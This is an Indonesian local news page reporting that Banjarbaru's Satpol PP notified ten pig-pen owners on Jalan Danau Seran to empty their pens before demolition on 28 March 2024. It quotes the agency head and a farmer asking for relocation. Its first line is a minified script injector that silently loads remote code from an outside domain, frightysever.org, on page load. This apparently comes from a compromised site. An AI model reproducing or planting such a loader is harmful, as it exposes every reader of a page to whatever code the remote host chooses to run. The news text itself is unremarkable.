(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menyurati pemilik 10 bangunan peternakan kandang babi di Jalan Danau Seran, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Senin (25/3/2024) pagi.
Pada H-3 ekskusi pembongkaran kandang ini, beberapa pemilik kandang babi ternyata didapati masih belum terlihat mengosongkan isi kandang ternak mereka.
Oleh sebab itu personel Satpol PP kembali menyampaikan surat pemberitahuan agar pemilik dapat mengosongkan kandang babi tersebut.
Baca juga: Asik Ngamar di Hotel Melati, 13 Pasangan Bukan Suami Istri Terciduk Polisi
Kepala Satpol PP Kota Banjarbaru, Hidayaturahman menyampaikan keinginan pihaknya agar pada saat ekskusi pembongkaran kandang, tidak ditemui lagi ternak yang berada di dalam kandang.
“Hari ini kami sudah menyampaikan surat pemberitahuan kepada para peternak bahwa kita akan melakukan kegiatan eksekusi pada 28 Maret 2024 mendatang,” ucap Dayat, Senin (25/3/2024) siang.
“Tujuannya untuk memberitahu lebih dulu agar mereka mengosongkan kandang, sehingga pada saat pelaksanaan kita harapkan sudah tidak ada lagi ternak di kandang,” sambung dia.
Karena masih ada ditemui sebagian ternak yang berada di kandang, sesuai keputusan di rapat terakhir pembongkaran, pihaknya meminta DKP3 untuk menyampaikan imbauan terkait pengosongan kandang.
Baca juga: Ini Tips Berpuasa Sehat dan Tetap Semangat dari Kadinkes Banjarbaru
“Menurut laporan tadi masih ada sebagian ternak di kandang, untuk itu kita juga berkordinasi dengan DKP3 untuk akan menyampaikan imbauan,” ungkapnya.
Secara terpisah, Mama Yeol salah satu pemilik kandang mengakui belum memikirkan bagaimana nasib hewan ternak miliknya tersebut.
“Kita lihat nanti gimana,” tutur Mama Yeol.
Mama Yeol mengakui bahwa ternak itu miliknya pribadi, namun bangunan beserta tanah yang dipakai berternak adalah menyewa.
Baca juga: Polda Kalsel Buka Rekrutmen Anggota Polri 2024
Dirinya yang baru mulai berternak babi pada bulan November 2023, meminta solusi kepada pemerintah agar ternaknya diberikan tempat.
“Kecuali disediakan tempat gak papa, ini main bongkar aja tapi tidak ada solusi berarti bukan mengayomi masyarakat,” tandasnya.
Sementara menanggapi hal tersebut Kasatpol PP Kota Banjarbaru dengan tegas mengatakan tidak ada solusi bagi pemilik kandang yang sudah menyalahi banyak aturan tersebut.
“Kandang tetap akan kita robohkan, untuk pemilik yang sudah mengosongkan kandang kita sangat berterima kasih dalam artian mereka memudahkan pelaksanaan kegiatan,” tuntas Dayat. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.